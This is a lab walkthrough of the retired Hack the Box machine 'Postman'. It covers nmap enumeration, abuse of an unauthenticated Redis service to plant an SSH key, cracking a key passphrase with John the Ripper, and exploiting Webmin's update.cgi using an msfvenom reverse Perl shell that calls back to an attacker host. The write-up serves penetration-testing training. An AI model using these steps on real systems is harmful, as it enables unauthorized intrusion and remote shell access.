Hack the Box (HTB) machines walkthrough series — Postman

April 6, 2020 by

Security Ninja

Today, we will be continuing with our exploration of Hack the Box (HTB) machines as seen in previous articles. This walkthrough is of an HTB machine named Postman.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It also has some other challenges as well. Individuals have to solve the puzzle (simple enumeration plus pentest) in order to log into the platform and download the VPN pack to connect to the machines hosted on the HTB platform.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Postman, is retired.

Let’s start with this machine.

The walkthrough

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.
2. The Postman machine IP is 10.10.10.160.
3. We will adopt our usual methodology of performing penetration testing. Let’s start with enumeration in order to learn more about the machine.
4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
   

   <<nmap -sC -sV -oA Postman 10.10.10.160>>
   

   
   

5. Let’s start the enumeration based on the discovered ports. The screenshot below is what we can see on port 80.
   
6. On port 10000, we got the page below, which led us to redirect to the site on SSL.
   
7. On SSL, we got the page below. Seems like we need to figure out the right username and password. In short, we need more enumeration. Going back to step 1, we will run the nmap scan on all ports.
   
8. This time we got an additional Redis port as well.
   

   <<nmap -sC -p- -oA postman.full 10.10.10.160>>
   

   
   

9. Enumerating Redis service with an nmap script to find anything interesting.
   

   <<nmap --script redis-info -sV -p 6379 10.10.10.160>>
   

   
   

10. Now let’s use Redis tools to enumerate the service as well. Looks like this is accepted with any authentication/authorization
    

    <<redis-cli -h 10.10.10.160>>
    

    
    

11. We can see the authorized keys using the below command and its location.
    

    <<CONFIG GET authorized-keys>>
    

    <<CONFIG GET dir>>
    

    <<keys *>>
    

    
    

12. What we can do is this: create a key and register it via Redis service on the system.
    
13. Since the key is registered, let’s log into the system. As can be seen below, we were able to log in.
    
14. We enumerated to grab the user.txt file but got “permission denied,” as it is owned by a user named Matt.
    
15. Enumerating once more results in the encrypted key below. We download it on our system and then try to crack it with John the Ripper.
    
16. We use the ssh2john utility to create a hash for this key that can be fed to JTR.
    
17. Now we can pass this to JTR. We were able to successfully crack it.
    
18. Now using that password, we can escalate our privileges to user Matt.
19. We grab user.txt file.
    
20. Let’s use the same creds to log into the service we have on port 10000. We also discover that this version has a ready exploit at https://www.exploit-db.com/exploits/46984, but it is a Metasploit module. Let’s replicate that outside Metasploit.
    
21. Let’s get a reverse Perl shell using msfvenom, like below.
    <<msfvenom -p cmd/unix/reverse_perl LHOST=<LHOST> LPORT=4422 -f raw > rshell.pl>>
22. Let’s Base64-encode it.
    
23. And now urlencode the complete payload.
    
24. The exploit is at /package-updates/update.cgi. Below, we can see that we have incorporated the URL-encoded payload.
    
25. As soon as we executed it, we got a call back on our listener.
    
26. We enumerate to grab root.txt
    

This was an interesting machine which required simple enumeration to connect the dots.

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

Get Your Plan

We will continue this series with more such interesting HTB machines.